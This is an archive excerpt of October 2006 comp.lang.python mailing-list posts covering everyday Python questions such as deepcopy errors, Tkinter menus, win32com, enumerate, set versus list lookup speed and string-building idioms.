>   File "C:\PYTHON24\lib\copy.py", line 188, in deepcopy
>     y = _reconstruct(x, rv, 1, memo)
>   File "C:\PYTHON24\lib\copy.py", line 335, in _reconstruct
>     state = deepcopy(state, memo)
>   File "C:\PYTHON24\lib\copy.py", line 161, in deepcopy
>     y = copier(x, memo)
>   File "C:\PYTHON24\lib\copy.py", line 252, in _deepcopy_dict
>     y[deepcopy(key, memo)] = deepcopy(value, memo)
>   File "C:\PYTHON24\lib\copy.py", line 161, in deepcopy
>     y = copier(x, memo)
>   File "C:\PYTHON24\lib\copy.py", line 252, in _deepcopy_dict
>     y[deepcopy(key, memo)] = deepcopy(value, memo)
>   File "C:\PYTHON24\lib\copy.py", line 188, in deepcopy
>     y = _reconstruct(x, rv, 1, memo)
>   File "C:\PYTHON24\lib\copy.py", line 335, in _reconstruct
>     state = deepcopy(state, memo)
>   File "C:\PYTHON24\lib\copy.py", line 161, in deepcopy
>     y = copier(x, memo)
>   File "C:\PYTHON24\lib\copy.py", line 252, in _deepcopy_dict
>     y[deepcopy(key, memo)] = deepcopy(value, memo)
>   File "C:\PYTHON24\lib\copy.py", line 188, in deepcopy
>     y = _reconstruct(x, rv, 1, memo)
>   File "C:\PYTHON24\lib\copy.py", line 320, in _reconstruct
>     y = callable(*args)
>   File "C:\PYTHON24\lib\copy_reg.py", line 92, in __newobj__

Oho! What's it doing there, in copy_reg.py?  Something has stashed away
a reference to copy_reg.__newobj__, and the stasher is *not* the copy
module ....

>     return cls.__new__(cls, *args)
> TypeError: instancemethod expected at least 2 arguments, got 0

>From a quick browse through the code for copy.py and copy_reg.py [Isn't
open source a wonderful thing?], I'm guessing:
(1) The "cls"  is *your* class. You can confirm that with a debugger
(or by hacking in a print statement!).
(2) You may need to read this in the copy docs:
"""
Classes can use the same interfaces to control copying that they use to
control pickling. See the description of module pickle for information
on these methods. The copy module does not use the copy_reg
registration module.
"""
(3) You may need to read this in the pickle docs:
"""
New-style types can provide a __getnewargs__() method that is used for
protocol 2. Implementing this method is needed if the type establishes
some internal invariants when the instance is created, or if the memory
allocation is affected by the values passed to the __new__() method for
the type (as it is for tuples and strings). Instances of a new-style
type C are created using
     obj = C.__new__(C, *args)
 where args is the result of calling __getnewargs__() on the original
object; if there is no __getnewargs__(), an empty tuple is assumed.
"""
(4) You may need to debug your pickling/unpickling before you debug
your deepcopying.
(5) Look at function _copy_inst at line 134 in copy.py -- work out what
it will do with your class instance, depending on what __magic__
method(s) you have implemented.

Hope some of this helps,
John



From scott.daniels at acm.org  Sun Oct  1 14:52:15 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Sun, 01 Oct 2006 11:52:15 -0700
Subject: How to change menu text with Tkinter?
In-Reply-To: <1159376479.859247.323260@h48g2000cwc.googlegroups.com>
References: <1159363771.905537.224780@d34g2000cwd.googlegroups.com>
	<op.tgji501prqur0o@eb.pragmadev>
	<1159376479.859247.323260@h48g2000cwc.googlegroups.com>
Message-ID: <45200684@nntp0.pdx.net>

Phil Schmidt wrote:
> Eric Brunel wrote:
>> But Marc's answer still applies: it's a lot of work for something that
>> will usually be configured once. So requiring to restart the tool when the
>> UI language changes should be acceptable.
> 
> Thanks for the example, that helps.
> 
> I agree with you and Marc regarding the language configuration method.
> The requirements aren't mine however - my customer wants the language
> selectable at runtime, so I'm kind of stuck with that.

You might also explain to the customer that of any menu elements are
ordered alphabetically, the result of changing the language will be
jarring to the user, as well as expensive to implement.

--Scott David Daniels
scott.daniels at acm.org


From sun.aries at gmail.com  Tue Oct 24 22:39:10 2006
From: sun.aries at gmail.com (Aries Sun)
Date: 24 Oct 2006 19:39:10 -0700
Subject: win32com problem
In-Reply-To: <1161738939.199723.85120@f16g2000cwb.googlegroups.com>
References: <1161738939.199723.85120@f16g2000cwb.googlegroups.com>
Message-ID: <1161743950.011683.23570@m73g2000cwd.googlegroups.com>

Have you tried late binding? Does late binding produce the same error?

Regards,

Aries

cfriedalek at gmail.com wrote:
> I'm interacting with a third party application using python and com.
> However having problems and don't know what to look at next to resolve
> the issue.
>
> The app. can be driven by VBS. The following VBS code works:
>
> Set Synergy = CreateObject("synergy.Synergy")
> Synergy.OpenProject "D:/temp/project.mpi"
> Synergy.Project.OpenItemByName "test_bar_3d_6l_pc1", "Study"
> Set Tet = Synergy.StudyDoc.GetFirstTet()
> While Not Tet Is Nothing
>   Str = Tet.ConvertToString() + " "
>   Set Tet = Synergy.StudyDoc.GetNextTet(Tet)
>   MsgBox Str
> WEnd
>
> This prints "TE1" "TE2" etc
>
>
> The "same" code in python returns <COMObject <unknown>> with each call
> to the GetNextTet method.
>
> import win32com.client
> from win32com.client import Dispatch
> Synergy = win32com.client.Dispatch("synergy.Synergy")
> Synergy.OpenProject("D:/temp/project.mpi")
> Synergy.Project.OpenItemByName("test_bar_3d_6l_pc1", "Study")
> tet = Synergy.StudyDoc.GetFirstTet
> while tet:
>     print str(tet)
>     tet = Synergy.StudyDoc.GetNextTet(tet)
>
> Any clues on what I'm doing wrong, or how to investigate whether there
> is a bug in win32com or in the third party apps com implementation.



From kay.schluehr at gmx.net  Sun Oct 22 12:39:16 2006
From: kay.schluehr at gmx.net (Kay Schluehr)
Date: 22 Oct 2006 09:39:16 -0700
Subject: PSF Infrastructure has chosen Roundup as the issue tracker for
	Python development
References: <bbaeab100610201335q7fe14f9dx3be89b529778a7a@mail.gmail.com>
	<mailman.911.1161463896.11739.python-list@python.org>
Message-ID: <1161535156.311165.243450@i3g2000cwc.googlegroups.com>

Anna Ravenscroft wrote:

> Interestingly enough, the quote of the day from Google on this email was:
>
> Never doubt that a small group of thoughtful, committed citizens can
> change the world; indeed, it's the only thing that ever has.
> Margaret Mead

Commitment. Some individuals do the actual changes but others have to
commit to make these changes effective. I've no indication in human
history that groups are innovative or that they produce anything
compelling new. Sometimes they support ventilation or being busy with
"conservative innovation" or other oxymoronic activities. They serve a
critical function but are most of the time uncritical to themselves and
critical to everything and everyone else who is not using their own
code(s). Identifying the enemy is still the prime function of the
political and politics is all about groups. In this simple social
scheme the "hero" indicates the border. The hero acts outside of the
order of the group/society but the society uses the hero to indicate
its own interior in some kind of hegelian twist: the hero is the
otherness defining the self. The hero is the radical other supporting
the groups identify. At best the hero becomes the prince/souvereign of
the group and the group identifies itself as its knights. So the whole
truth about "changing the world" might be just slightly more complex.

Never thought having a small philosophical conversion with Margaret
Mead beyond time and space. So many thanks to great Google and its
devotees. 

Kay



From bignose+hates-spam at benfinney.id.au  Sat Oct 21 05:10:11 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Sat, 21 Oct 2006 19:10:11 +1000
Subject: Good Form
References: <1161418652.105713.41150@m7g2000cwm.googlegroups.com>
Message-ID: <87y7ravxu4.fsf@benfinney.id.au>

phez.asap at gmail.com writes:

> I am new to Python but come from a C++ background so I am trying to
> connect the dots :)

Welcome, and commiserations on your harsh upbringing :-)

> I am really liking what I see so far but have
> some nubee questions on what is considered good form.

This document is an official proposal for "good style" for code in the
Python standard library. Most consider it a good style reference for
all Python code.

    <URL:www.python.org/dev/peps/pep-0008/>

> For one thing I am used to class variables being accessable only
> through methods instaed of directly refrenced from the object
> instence. From what I have read it looks like when you access a
> class variable directly in Python it has something in the background
> that works similar to a getter of setter.

This document was written specifically for those coming from Java, but
many of its points would also be applicable to the C++ mindset.

    <URL:http://dirtsimple.org/2004/12/python-is-not-java.html>

This one responds to the above, and specifically addresses getters and
setters.

    <URL:http://simon.incutio.com/archive/2004/12/03/getters>

Here's a couple more, also responding to the same article.

    <URL:http://naeblis.cx/rtomayko/2004/12/15/the-static-method-thing>
    <URL:http://naeblis.cx/articles/2005/01/20/getters-setters-fuxors>

-- 
 \       "It is forbidden to steal hotel towels. Please if you are not |
  `\        person to do such is please not to read notice."  -- Hotel |
_o__)                                         sign, Kowloon, Hong Kong |
Ben Finney



From 2006 at jmunch.dk  Mon Oct 30 12:22:56 2006
From: 2006 at jmunch.dk (Anders J. Munch)
Date: Mon, 30 Oct 2006 18:22:56 +0100
Subject: enumerate improvement proposal
In-Reply-To: <mailman.1452.1162163854.11739.python-list@python.org>
References: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>	<mailman.1435.1162124420.11739.python-list@python.org>	<Jb11h.17572$TV3.6879@newssvr21.news.prodigy.com>	<873b96bu06.fsf@benfinney.id.au>
	<mailman.1452.1162163854.11739.python-list@python.org>
Message-ID: <45463582$0$4171$ba624c82@nntp02.dk.telia.net>

Ben Finney wrote:
> 
>     >>> def obstinate_economist_enumerate(items):
>     ...     enum_iter = iter((i+1, x) for (i, x) in enumerate(items))
>     ...     return enum_iter

iter is redundant here.

def natural_enumerate_improvement(items, start=0):
     return ((i+start, x) for (i, x) in enumerate(items))

- Anders


From bignose+hates-spam at benfinney.id.au  Tue Oct 10 20:04:11 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 11 Oct 2006 10:04:11 +1000
Subject: OT: Sarcasm and irony
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au>
	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
	<egfkeh$a45$1@sea.gmane.org>
	<3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com>
	<mailman.193.1160473683.11739.python-list@python.org>
	<egh474$482$1@news.albasani.net>
Message-ID: <87wt7790qs.fsf@benfinney.id.au>

Georg Brandl <g.brandl-nospam at gmx.net> writes:

> Let me tell you: There are times when I'm really glad that as a
> German, I'm not supposed to possess any sense of humour at all.

+1 QOTW

-- 
 \                      "I doubt, therefore I might be."  -- Anonymous |
  `\                                                                   |
_o__)                                                                  |
Ben Finney



From bignose+hates-spam at benfinney.id.au  Wed Oct 25 19:42:39 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 26 Oct 2006 09:42:39 +1000
Subject: cleaner way to write this?
References: <USN%g.148$1n3.4086@news.tufts.edu>
Message-ID: <87d58gm07k.fsf@benfinney.id.au>

John Salerno <johnjsal at NOSPAMgmail.com> writes:

>          if dlg.ShowModal() == wx.ID_OK:
>              db_name = dlg.GetValue()
>              dlg.Destroy()
>              return db_name
>          else:
>              dlg.Destroy()
>              return

It's for reasons like this that I prefer to have only one 'return'
from my functions.

    db_name = None
    if dlg.ShowModal() == wx.ID_OK:
        db_name = dlg.GetValue()
    dlg.Destroy()
    return db_name

-- 
 \         "I was trying to daydream, but my mind kept wandering."  -- |
  `\                                                     Steven Wright |
_o__)                                                                  |
Ben Finney



From grahn+nntp at snipabacken.dyndns.org  Thu Oct  5 07:56:51 2006
From: grahn+nntp at snipabacken.dyndns.org (Jorgen Grahn)
Date: 5 Oct 2006 11:56:51 GMT
Subject: A Universe Set
References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com>
	<mailman.1224.1159935216.10491.python-list@python.org>
	<slrnei7icb.gim.grahn+nntp@frailea.sa.invalid>
	<mailman.1298.1159999185.10491.python-list@python.org>
Message-ID: <slrnei9so0.gim.grahn+nntp@frailea.sa.invalid>

On Thu, 05 Oct 2006 00:02:51 +0200, Wildemar Wildenburger <wildemar at freakmail.de> wrote:
> Jorgen Grahn wrote:

> Any use cases for these?

>> - the wildcard object, which compares equal to everything else

Like someone else wrote, for quick-and-dirty comparisons or lists and
dictionaries where I don't care about one part. I think I wanted it for
unittest's assertEqual(foo, bar) at one point.

  self.assertEqual(['foo', 42, [], WILDCARD], my_result)

versus

  self.assertEqual('foo', my_result[0])
  self.assertEqual(42, my_result[1])
  self.assertEqual([], my_result[2])
  self.assertEqual(4, len(my_result))
  # possibly assert that 'my_result' is a list-like
  # object too

But I agree that the WILDCARD isn't the kind of object you want to spread
throughout your code; its behaviour is too odd.

>> - infinite xrange()s

Available in itertools, as someone pointed out.

>> - the black hole function 'def f(*args): pass'

I often find myself adding logging to functions by passing sys.stderr.write
as an argument to it.  Passing blackhole is an elegant and fast way of
disabling logging.

>> - the identity function 'def f(x): return x'

I don't think I've used it. Maybe if you do a lot of manipulation of
functions and functors -- in some sense it's to function application what 0
is to addition, or 1 to multiplication.

/Jorgen

-- 
  // Jorgen Grahn <grahn@        Ph'nglui mglw'nafh Cthulhu
\X/     snipabacken.dyndns.org>  R'lyeh wgah'nagl fhtagn!


From fuzzyman at gmail.com  Tue Oct 31 10:34:05 2006
From: fuzzyman at gmail.com (Fuzzyman)
Date: 31 Oct 2006 07:34:05 -0800
Subject: Python tools for managing static websites?
In-Reply-To: <mailman.1542.1162296580.11739.python-list@python.org>
References: <mailman.1542.1162296580.11739.python-list@python.org>
Message-ID: <1162308844.940437.57610@b28g2000cwb.googlegroups.com>


Chris Pearl wrote:
> Are there Python tools to help webmasters manage static websites?
>

rest2web is a tool designed specifically for creating and managing
static websites. It uses templates and has built-in tools to aid with
creating side bars and navigation trails.

It allows you to store your pages in reStructured Text or HTML format.
It gives you full control of the 'shape' (in terms of directories) of
both your source files and target files (the html it generates).

http://www.voidspace.org.uk/python/rest2web/

Fuzzyman



From nick at craig-wood.com  Mon Oct 16 06:30:03 2006
From: nick at craig-wood.com (Nick Craig-Wood)
Date: Mon, 16 Oct 2006 05:30:03 -0500
Subject: Ok. This IS homework ...
References: <1160866295.553656.112730@m7g2000cwm.googlegroups.com>
	<mailman.561.1160990296.11739.python-list@python.org>
Message-ID: <slrnej6kll.mef.nick@irishsea.home.craig-wood.com>

Frederic Rentsch <anthra.norell at vtxmail.ch> wrote:
>  It was called a flow chart. Flow charts could be translated directly 
>  into machine code written in assembly languages which had labels, tests 
>  and jumps as the only flow-control constructs. When structured 
>  programming introduced for and while loops they internalized labeling 
>  and jumping. That was a great convenience. Flow-charting became rather 
>  obsolete because the one-to-one correspondence between flow chart and 
>  code was largely lost.

The trouble with flow charts is that they aren't appropriate maps for
the modern computing language territory.

I was born and bred on flow charts and I admit they were useful back
in the days when I wrote 1000s of lines of assembler code a week.

Now-a-days a much better map for the the territory is pseudo-code.
Python is pretty much executable pseudo-code anway!

-- 
Nick Craig-Wood <nick at craig-wood.com> -- http://www.craig-wood.com/nick


From ptmcg at austin.rr._bogus_.com  Wed Oct  4 13:57:46 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Wed, 04 Oct 2006 17:57:46 GMT
Subject: item access time: sets v. lists
References: <QWQUg.15396$3T2.2982@trnddc06>
	<CiRUg.25432$DU3.7189@tornado.texas.rr.com>
	<4cSUg.7864$753.4683@trnddc05>
Message-ID: <uCSUg.25441$DU3.1079@tornado.texas.rr.com>

"David Isaac" <aisaac0 at verizon.net> wrote in message 
news:4cSUg.7864$753.4683 at trnddc05...
> Paul M. wrote:
>> Random access to item in list/set when item exists
>> set  -> 0.000241650824337
>> list -> 0.0245168031132
>>
>> Random access to item in list/set when item does not exist
>> set  -> 0.000187733357172
>> list -> 0.522086186932
>
>
> OK, that's a much better set of answers
> including to questions I did not
> even know I wanted to ask until
> I saw your post.  But, how to
> explain the above??
>
> Thanks,
> Alan Isaac
>
>

Searching for an item in a list is a linear search, and all 10000 items must 
be checked before determining that  a non-existent item is not in the list, 
and sure enough, our list takes about 20 times as long to find that 10500 is 
not in the range 10000 as it does to find 500 in the range 10000.  By 
contrast, a set (and also the keys in a dict) use a tree structure to index 
more quickly into the list of items, so this access (and determination of 
non-existence) will be much faster, especially so for a large list.

-- Paul




From horpner at yahoo.com  Thu Oct  5 22:33:03 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Fri, 06 Oct 2006 02:33:03 GMT
Subject: building strings from variables
References: <mailman.1390.1160090492.10491.python-list@python.org>
	<1160098957.196734.192950@i3g2000cwc.googlegroups.com>
Message-ID: <zfjVg.4571$5i7.1420@newsreading01.news.tds.net>

On 2006-10-06, MonkeeSage <MonkeeSage at gmail.com> wrote:
> wesley chun wrote:
>> from the performance standpoint, i believe that #4 (list join)
>> from scott is the fastest. #1 (string formatting) is next
>> preferred only because #3 (string concat) is the worst [think
>> "realloc()"].  #2 is useful for when you have users who aren't
>> as comfortable with #1.
>
> I might have done something wrong here, but it looks like the %
> operator would be the fastest (negligibly). And string.Template
> is horribly slow(!).

It is the least mature of all the methods here tested. Perhaps it
will be made faster in the future. I tried your test with a few
variations, and nothing sped it up very much, e.g.; building the
Template object once, outside the test; using keyword args
instead of a dictionary.
 
Template is designed to provide more ammo for regex haters, I
guess.

Template does provide an interface for creating your own slow,
but modified, implementation of Template. ;-)

> import os, sys, string, timeit
>
> hl = [['working_dir', os.getcwd()],
>       ['ssh_cmd'    , 'ssh'],
>       ['some_count' , 5],
>       ['some_param1', 'cheese'],
>       ['some_param2', 'burger']]
>
> hd = dict(hl)
> ht = tuple(map(lambda x: x[1], hl))
> sys.modules['__main__'].__dict__.update(hd)
>
> def make_string_fmt():
>   out = "cd %s ; %s %d %s %s" % ht

Incidentally, changing the fmt test to be more similar to the
Template version doesn't slow it down much.

def make_string_fmt():
  out = "cd %(working_dir)s ; %(ssh_cmd)s %(some_count)d %(some_param1)s"\
        "%(some_param2)s" % hd

-- 
Neil Cerutti


From onurb at xiludom.gro  Mon Oct  9 11:27:29 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 09 Oct 2006 17:27:29 +0200
Subject: operator overloading + - / * = etc...
In-Reply-To: <pan.2006.10.08.01.08.09.501368@REMOVE.THIS.cybersource.com.au>
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>
	<mailman.32.1160258060.11739.python-list@python.org>
	<slrneig8v2.746.sybrenUSE@schuimige.stuvel.eu>
	<mailman.34.1160260043.11739.python-list@python.org>
	<pan.2006.10.08.01.08.09.501368@REMOVE.THIS.cybersource.com.au>
Message-ID: <452a6a61$0$22844$426a74cc@news.free.fr>

Steven D'Aprano wrote:
> On Sat, 07 Oct 2006 17:21:55 -0500, Tim Chase wrote:
> 
>>>> With the caveat of the "=" mentioned in the subject-line (being
>>>> different from "==")...I haven't found any way to override
>>>> assignment in the general case.
>>> Why would you want to do that?
>> For the same reason one would use property() to create 
>> getter/setter functions for a particular variable--to intercept 
>> attempts to set a variable.
> 
(snip)

> Suppose we bind the name "x" to the object 1, and then rebind the name "x"
> to the object []. Which object's hypothetical __assign__ method should get
> called? 

The current namespace object, of course.

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From duncan.booth at invalid.invalid  Mon Oct  9 03:56:16 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 9 Oct 2006 07:56:16 GMT
Subject: unexpected behaviour of lambda expression
References: <1160379765.723206.33640@i3g2000cwc.googlegroups.com>
Message-ID: <Xns98575A2F19A1Aduncanbooth@127.0.0.1>

leonhard.vogt at gmx.ch wrote:

>>>> f = lambda x: s
...
>>>> f(None)
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
>   File "<stdin>", line 1, in <lambda>
> NameError: global name 's' is not defined
> 
> It seems to me, that f is referencing the name s instead of the string
> object bound to it

Of course it is. Why would you expect a function to lookup its global 
variables before it is called? Remember "f = lambda x: s" is just a 
confusing way to write:

def f(x):
    return s


From sachinpunjabi at gmail.com  Mon Oct 30 03:37:20 2006
From: sachinpunjabi at gmail.com (Sachin Punjabi)
Date: 30 Oct 2006 00:37:20 -0800
Subject: Lookuperror : unknown encoding : utf-8
In-Reply-To: <mailman.1471.1162196999.11739.python-list@python.org>
References: <1162193424.290540.102910@h48g2000cwc.googlegroups.com>
	<1162194168.044962.262720@b28g2000cwb.googlegroups.com>
	<1162196598.260229.224100@e3g2000cwe.googlegroups.com>
	<mailman.1471.1162196999.11739.python-list@python.org>
Message-ID: <1162197440.574405.195010@m7g2000cwm.googlegroups.com>



On Oct 30, 1:29 pm, Fredrik Lundh <fred... at pythonware.com> wrote:
> Sachin Punjabi wrote:
> > The OS is Windows XPthen your installation is seriously broken.  where did you get the
> installation kit?  have you removed stuff from the Lib directory ?
>
> </F>

It was already installed on my PC and I have no clue how it was
installed or any changes has been done. I am just downloading newer
version from python.org and will install and check it. I think there
should be problem with installation itself. 

Thanx
Sachin.



From joehust at gmail.com  Thu Oct 26 03:51:27 2006
From: joehust at gmail.com (joe Li)
Date: Thu, 26 Oct 2006 15:51:27 +0800
Subject: python html 2 image (png)
In-Reply-To: <ehpog3$nnd$1@sea.gmane.org>
References: <1161763383.622381.299350@b28g2000cwb.googlegroups.com>
	<mailman.1155.1161764711.11739.python-list@python.org>
	<1161778587.501281.92320@h48g2000cwc.googlegroups.com>
	<4q9l3cFm97ffU1@uni-berlin.de>
	<1161845822.338404.197410@f16g2000cwb.googlegroups.com>
	<11c6e45f0610260006r7aa6d5b0w8f91eaa235c065df@mail.gmail.com>
	<ehpog3$nnd$1@sea.gmane.org>
Message-ID: <11c6e45f0610260051u5f1e76f9m1e735a8ff4b60292@mail.gmail.com>

Thanks a lot.
Please forgive my careless mistake, I am completely a new user^-^

2006/10/26, Fredrik Lundh <fredrik at pythonware.com>:
>
> joe Li wrote:
>
> > **class Bunch(object):
> >     def __init__(self, **fields):
> >         self.__dict__ = fields
> >
> > p = Bunch(x=2.3, y=4.5)
> > print p
> >
> > print p.__dict__
> >
> > I dont' understand the usage of the double * here, could anyone explain
> > it for me?
>
> if you're going to post questions to arbitrarily chosen threads, you
> could at least change the subject (but it's a lot nicer to open a new
> thread).
>
> the "**" prefix tells Python to stuff any excess keyword arguments into
> the given variable:
>
> >>> def func(**kwargs):
> ...     print kwargs
> ...
> >>> func()
> {}
> >>> func(spam=1, egg=2)
> {'egg': 2, 'spam': 1}
>
> for more on Python's parameter syntax, see the section on "def" in the
> language reference; see e.g.
>
>      http://effbot.org/pyref/def.htm
>
> </F>
>
> --
> http://mail.python.org/mailman/listinfo/python-list
>
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From hanumizzle at gmail.com  Tue Oct 10 03:16:25 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Tue, 10 Oct 2006 03:16:25 -0400
Subject: Dive Into Java?
In-Reply-To: <sBvWg.9233$o71.8428@newsread3.news.pas.earthlink.net>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<sBvWg.9233$o71.8428@newsread3.news.pas.earthlink.net>
Message-ID: <463ff4860610100016n6978a818y2a381394a18943e3@mail.gmail.com>

On 10/9/06, Dennis Lee Bieber <wlfraed at ix.netcom.com> wrote:
> On Mon, 09 Oct 2006 15:31:56 +0200, "Diez B. Roggisch"
> <deets at nospam.web.de> declaimed the following in comp.lang.python:
>
>
> > C++ has a lot of wicked, complicated features like overloadable assignment
> > statements and so on, misses GC, and is in general semantically very
> > overloaded. All that make programming it a real PITA, as you permanently
> > are at risk loosing your feet through self-inflicted gun-shot-wounds.
> >
>         Sounds like a natural opening for:
>
> http://www.reed.edu/~tuckers/jokes/foot.html

This is the motherlode of 'shot in the foot' jokes!

BTW, love the Anglo-Saxon nickname.

-- Theerasak


From edreamleo at charter.net  Mon Oct 30 20:46:35 2006
From: edreamleo at charter.net (Edward K. Ream)
Date: Mon, 30 Oct 2006 19:46:35 -0600
Subject: ANN: Leo 4.4.2.1 final released
References: <ur31h.321$XF5.101@newsfe06.lga>
	<1162143217.977375.290570@i42g2000cwa.googlegroups.com>
Message-ID: <6Zx1h.77$uA3.75@newsfe04.lga>

>I downloaded the Windows exe, ran it and a small blank message window poped 
>up and that was it.
> I am still running 2.3.

I assume you mean Python 2.3, not Leo 2.3 :-)  I know for sure that Leo 
works with Python 2.3. In the future, please report problems to one of Leo's 
forums.  And when reporting problems please tell me what platform you are 
using.

You can probably see more information by running Leo in a console.  See 
Leo's FAQ for instructions:
http://webpages.charter.net/edreamleo/FAQ.html#how-can-i-run-leo-from-a-console-window

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From robert.kern at gmail.com  Wed Oct 18 02:25:30 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Wed, 18 Oct 2006 01:25:30 -0500
Subject: Plotting histograms
In-Reply-To: <1161151268.753901.104750@k70g2000cwa.googlegroups.com>
References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com>	<mailman.604.1161057667.11739.python-list@python.org>
	<1161151268.753901.104750@k70g2000cwa.googlegroups.com>
Message-ID: <eh4hcr$sjk$1@sea.gmane.org>

amitsoni.1984 at gmail.com wrote:
> Thanks Robert,
> 
> My previous problem is solved(I was using 'from matplotlib.pylab import
> *') but now I am facing another problem. I want to plot the histogram
> of eigenvalues calculated and I am using the following code:
> _______________________________________________________________________
> import numpy
> from matplotlib import pylab
> 
> n=100
> ra = numpy.random
> la = numpy.linalg
> 
> A = ra.standard_normal((n,n))
> S = (A + numpy.transpose(A))/(2*n^(1/2))

Note that this line won't do what you think it does. First, one integer divided 
by another integer returns an integer, so (1/2) == 0. Also, ^ is not 
exponentiation but bitwise XOR. Use ** for exponentiation. However, in this 
case, you should use numpy.sqrt().

> eig = la.eigvals(S)
> 
> [N,x]=pylab.hist(eig, 10) # make a histogram
> -------------------------------------------------------------------------------------------------------------
> 
> But again it is giving some error, which is given below:
> 
> File "C:\Documents and Settings\amitsoni\Desktop\New
> Folder\wignerpython", line 15, in <module>
> [N,x]=pylab.hist(eig, 10) # make a histogram
> ValueError: too many values to unpack
> 
> Can anyone help me out with this??

pylab.hist() does not return two values, it returns three. Sorry I didn't catch 
that earlier.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From fredrik at pythonware.com  Sat Oct 28 05:19:02 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sat, 28 Oct 2006 11:19:02 +0200
Subject: Python crashed when importing SOAPpy, printing out 'usage:copy
	source destination'
In-Reply-To: <1162026431.149026.215510@h48g2000cwc.googlegroups.com>
References: <1162026431.149026.215510@h48g2000cwc.googlegroups.com>
Message-ID: <ehv7a6$jfj$2@sea.gmane.org>

jiang.haiyun at gmail.com wrote:

> when i import SOAPpy, the python crashed and print out 'usage:copy
> source destination'.
> As follows:
> ############################
> haiyun# python
> Python 2.4.1 (#2, Mar 28 2006, 21:00:14)
> [GCC 3.4.2 [FreeBSD] 20040728] on freebsd5
> Type "help", "copyright", "credits" or "license" for more information.
>>>> import SOAPpy
> usage:copy source destination
> #############################
> Then i checked and found that in my pwd there is a .py file,
> i guess it is this file caused the problem.
> the file content is as follows:
> ############################
> haiyun# cat a.py
> #!env python
> usage="usage:copy source destination\n"
> import sys
> len=len(sys.argv)
> if len!=3 :
>         print usage
>         sys.exit()
> ################end#########
> 
> So the python will crash when i import SOAPpy if working in a dir
> containing this .py file,
> and if rename the .py file to another type , say .txt, the problem
> dispeared.
> 
> Who can tell me what's the problem.

this is how things work: Python doesn't distinguish between script
files and module files; a module is simply a script that defines a
bunch of things.

if you want to create something that can work both as a script and a 
module, see:

    http://effbot.org/pyfaq/tutor-what-is-if-name-main-for.htm

</F>



From bearophileHUGS at lycos.com  Mon Oct  2 11:30:31 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 2 Oct 2006 08:30:31 -0700
Subject: How to coerce a list of vars into a new type?
In-Reply-To: <slrnei29um.8ds.matt@mwilson.umlcoop.net>
References: <slrnei29um.8ds.matt@mwilson.umlcoop.net>
Message-ID: <1159803031.530669.105050@k70g2000cwa.googlegroups.com>

Matthew Wilson wrote:
> I want to verify that three parameters can all be converted into
> integers, but I don't want to modify the parameters themselves.

To do what you need you can try this:

def f(a, b, c):
    map(int, [a, b, c])
    ...code...

Bye,
bearophile



From robert.kern at gmail.com  Tue Oct 17 15:37:06 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Tue, 17 Oct 2006 14:37:06 -0500
Subject: why should dict not be callable?
In-Reply-To: <1161113146.541464.80890@i3g2000cwc.googlegroups.com>
References: <1161113146.541464.80890@i3g2000cwc.googlegroups.com>
Message-ID: <eh3bd3$s6o$1@sea.gmane.org>

georgeryoung at gmail.com wrote:
> A couple of times recently I've come across this problem:  I have a
> large list to sort and I need to the the "key=function" argument to
> sort appropriately.  But I actually have the key mapping in a big
> dictionary.  Now I have to make an intermediary function:
> 
> def key_fn(key):
>    return key_dict[key]
> 
> If a dict were callable directly, this would be unnecessary.  Often the
> small extra complexity and compute time is not important, but in
> sorting a large list, it could be a significant difference.  Is there
> some reason a subscriptable thing like a dict should *not* be callable?

Because you can pass key_dict.get instead. Or even key_dict.__getitem__ if you 
don't want the default=None behavior of the .get() method.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From noway at sorry.com  Fri Oct  6 04:31:52 2006
From: noway at sorry.com (Giovanni Bajo)
Date: Fri, 06 Oct 2006 08:31:52 GMT
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<45240E19.3040000@v.loewis.de> <7xwt7f4yox.fsf@ruckus.brouhaha.com>
	<452423FF.6010601@v.loewis.de>
